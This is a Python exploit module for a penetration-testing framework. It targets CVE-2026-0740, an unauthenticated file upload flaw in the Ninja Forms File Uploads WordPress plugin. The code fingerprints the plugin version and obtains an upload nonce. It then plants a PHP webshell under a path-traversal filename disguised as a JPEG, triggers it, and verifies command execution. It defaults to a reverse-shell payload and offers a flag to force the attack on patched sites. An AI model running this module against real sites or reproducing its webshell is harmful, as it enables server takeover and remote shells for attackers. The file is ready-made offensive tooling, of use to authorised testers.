Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import random
import re
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

_PLUGIN = "ninja-forms-uploads"
_VULN_HIGH = (3, 3, 26)
_PATCHED = (3, 3, 27)
_AJAX_PATH = "/wp-admin/admin-ajax.php"
_TMP_PREFIX = "/wp-content/uploads/ninja-forms/tmp/"


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload",
        "description": (
            "CVE-2026-0740 — Unauthenticated arbitrary file upload in the Ninja Forms "
            "File Uploads WordPress extension via nf_fu_get_new_nonce / nf_fu_upload "
            "admin-ajax actions. Destination filename is attacker-controlled, enabling "
            "path traversal and PHP webshell placement."
        ),
        "author": ["0xNuts", "Sélim Lanouar (@whattheslime)", "KittySploit Team"],
        "cve": ["CVE-2026-0740"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "references": [
            "https://blog.lexfo.fr/ninja-forms-uploads_rce.html",
            "https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/",
            "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-0740.yaml",
            "https://github.com/advisories/GHSA-v8wq-rjpf-669f",
            "https://www.cve.org/CVERecord?id=CVE-2026-0740",
        ],
        "tags": [
            "wordpress",
            "ninja-forms",
            "ninja-forms-uploads",
            "file-upload",
            "rce",
            "unauthenticated",
            "cve-2026-0740",
        ],
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["wordpress", "php"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"wordpress": 0.3},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    dest_path = OptString(
        "../../../",
        "Destination filename via path traversal (e.g. ../../../ks.php)",
        required=False,
    )
    cmd_param = OptString(
        "cmd",
        "GET/POST parameter used to invoke the uploaded webshell",
        required=False,
    )
    verify_cmd = OptString("id", "Command used to verify shell execution", required=False)
    skip_version_check = OptBool(
        False,
        "Attempt exploit even when plugin version appears patched or unknown",
        required=False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path or "/")

    def _path(self, suffix: str) -> str:
        base = self._wp_base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base != "/" else suffix

    def _random_field_id(self) -> str:
        return "".join(random.choices("123456789", k=16))

    def _fetch_plugin_version(self) -> Tuple[str, str]:
        wp_base = self._wp_base()
        version = self.wp_plugin_version(_PLUGIN, wp_base)
        if version:
            return version, self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt")

        response = self.http_request(method="GET", path=self._path("/"), allow_redirects=True)
        if response and response.status_code == 200:
            match = re.search(
                r"nfpluginsettings\.js\?ver=([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
                response.text or "",
                re.IGNORECASE,
            )
            if match:
                return match.group(1).strip(), "nfpluginsettings.js"

        candidates = [
            self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt"),
            self.wp_plugin_path(wp_base, _PLUGIN, "file-uploads.php"),
        ]
        for path in candidates:
            response = self.http_request(method="GET", path=path, allow_redirects=True)
            if not response or response.status_code != 200:
                continue
            body = response.text or ""
            for pattern in (
                r"Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
                r"Version:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
            ):
                match = re.search(pattern, body, re.IGNORECASE)
                if match:
                    return match.group(1).strip(), path
            if "ninja-forms-uploads" in body.lower() or "ninja forms" in body.lower():
                return "", path
        return "", ""

    def _version_vulnerable(self, version: str) -> Optional[bool]:
        if not version:
            return None
        return self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH)

    def _parse_json_response(self, response) -> Optional[dict]:
        if not response:
            return None
        text = (response.text or "").strip()
        if text == "0":
            return None
        try:
            payload = response.json()
        except (ValueError, json.JSONDecodeError):
            try:
                payload = json.loads(text)
            except (ValueError, json.JSONDecodeError):
                return None
        return payload if isinstance(payload, dict) else None

    def _get_nonce(self, field_id: str) -> Optional[str]:
        response = self.http_request(
            method="POST",
            path=self._path(_AJAX_PATH),
            data={
                "action": "nf_fu_get_new_nonce",
                "field_id": field_id,
            },
            headers={"X-Requested-With": "XMLHttpRequest"},
            timeout=20,
        )
        payload = self._parse_json_response(response)
        if not payload or not payload.get("success"):
            return None
        data = payload.get("data") or {}
        return data.get("nonce")

    def _resolve_dest_name(self, filename: str) -> str:
        dest = str(self.dest_path or "").strip()
        if not dest:
            return filename
        if dest.endswith("/"):
            return f"{dest}{filename}"
        if dest.endswith(".php") or dest.endswith(".phtml") or dest.endswith(".pht"):
            return dest
        return f"{dest}{filename}"

    def _shell_url_path(self, dest_name: str) -> str:
        return self._path(f"{_TMP_PREFIX}{dest_name}")

    def _build_shell(self) -> bytes:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php_body = str(payload or "").strip()
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        if php_body:
            source = f"<?php {php_body} ?>"
        else:
            source = (
                '<?php '
                f'if(isset($_REQUEST["{param}"])){{'
                f'@system($_REQUEST["{param}"]);'
                "}}"
                " ?>"
            )
        return source.encode()

    def _upload_shell(self, field_id: str, nonce: str, dest_name: str, shell_body: bytes) -> Optional[str]:
        files_key = f"files-{field_id}"
        response = self.http_request(
            method="POST",
            path=self._path(_AJAX_PATH),
            data={
                "action": "nf_fu_upload",
                "nonce": nonce,
                "form_id": field_id,
                "field_id": field_id,
                "image_jpg": dest_name,
            },
            files={
                files_key: ("image.jpg", shell_body, "image/jpeg"),
            },
            headers={"X-Requested-With": "XMLHttpRequest"},
            timeout=30,
        )
        payload = self._parse_json_response(response)
        if not payload:
            return None

        files = (payload.get("data") or {}).get("files") or []
        if not files:
            return None

        uploaded_name = files[0].get("tmp_name")
        if uploaded_name != dest_name:
            print_warning(
                f"Upload returned unexpected tmp_name: {uploaded_name!r} (expected {dest_name!r})"
            )
            return None
        return uploaded_name

    def check(self):
        version, evidence = self._fetch_plugin_version()
        if not evidence:
            return {
                "vulnerable": False,
                "reason": "Ninja Forms File Uploads extension not detected",
                "confidence": "low",
            }

        vuln = self._version_vulnerable(version)
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": (
                    f"Ninja Forms File Uploads {version} >= "
                    f"{_PATCHED[0]}.{_PATCHED[1]}.{_PATCHED[2]} (patched)"
                ),
                "confidence": "high",
            }

        field_id = self._random_field_id()
        nonce = self._get_nonce(field_id)
        confidence = "high" if nonce else ("medium" if version else "low")
        version_text = version or "unknown"
        reason_parts = [
            f"Ninja Forms File Uploads {version_text} detected ({evidence})",
        ]
        if vuln is True:
            reason_parts.append(f"<= {_VULN_HIGH[0]}.{_VULN_HIGH[1]}.{_VULN_HIGH[2]} is affected")
        if nonce:
            reason_parts.append("nf_fu_get_new_nonce returned a valid upload nonce")
        else:
            reason_parts.append("upload nonce probe failed — plugin may be inactive or blocked")

        return {
            "vulnerable": True,
            "reason": "; ".join(reason_parts),
            "confidence": confidence,
        }

    def run(self):
        print_status("CVE-2026-0740 — Ninja Forms File Uploads unauthenticated file upload")

        if not self.payload:
            print_error("No payload generated. Set a PHP payload (e.g. payloads/singles/cmd/php/reverse_tcp).")
            return False

        version, evidence = self._fetch_plugin_version()
        if not evidence:
            print_error("Ninja Forms File Uploads extension not detected")
            self.not_vulnerable()
            return False

        vuln = self._version_vulnerable(version)
        if version:
            flag = "affected" if vuln else "patched"
            print_info(f"Ninja Forms File Uploads {version} — {flag}")
        else:
            print_warning("Plugin detected but version could not be determined")

        if vuln is False and not self.skip_version_check:
            print_error(
                f"Target appears patched (>= {_PATCHED[0]}.{_PATCHED[1]}.{_PATCHED[2]}). "
                "Use skip_version_check to force."
            )
            self.not_vulnerable()
            return False

        filename = f"{self.random_text(8)}.php"
        dest_name = self._resolve_dest_name(filename)
        shell_body = self._build_shell()
        field_id = self._random_field_id()

        print_status(f"Requesting upload nonce (field_id={field_id})...")
        nonce = self._get_nonce(field_id)
        if not nonce:
            print_error("Failed to obtain nf_fu upload nonce — plugin inactive or WAF blocked")
            self.not_vulnerable()
            return False
        print_success(f"Upload nonce: {nonce}")

        print_status(f"Uploading shell as {dest_name!r} via nf_fu_upload...")
        uploaded = self._upload_shell(field_id, nonce, dest_name, shell_body)
        if not uploaded:
            print_error("File upload failed")
            return False

        shell_path = self._shell_url_path(dest_name)
        print_success(f"Shell uploaded: {shell_path}")

        print_status("Triggering shell (check listener if using reverse_tcp)...")
        trigger = self.http_request(method="GET", path=shell_path, timeout=15)
        if trigger and trigger.status_code == 200:
            print_success("Shell requested successfully")

        verify_cmd = str(self.verify_cmd or "").strip()
        if verify_cmd:
            param = str(self.cmd_param or "cmd").strip() or "cmd"
            print_status(f"Verifying RCE with {param}={verify_cmd!r}...")
            verify = self.http_request(
                method="GET",
                path=shell_path,
                params={param: verify_cmd},
                timeout=15,
            )
            body = (verify.text or "").strip() if verify else ""
            if verify and verify.status_code == 200 and body:
                print_success("RCE verification output:")
                print_info(body[:1024])
                self.vulnerable()
                return True
            print_warning("Verification returned no output (reverse shell may still have triggered)")

        self.vulnerable()
        return True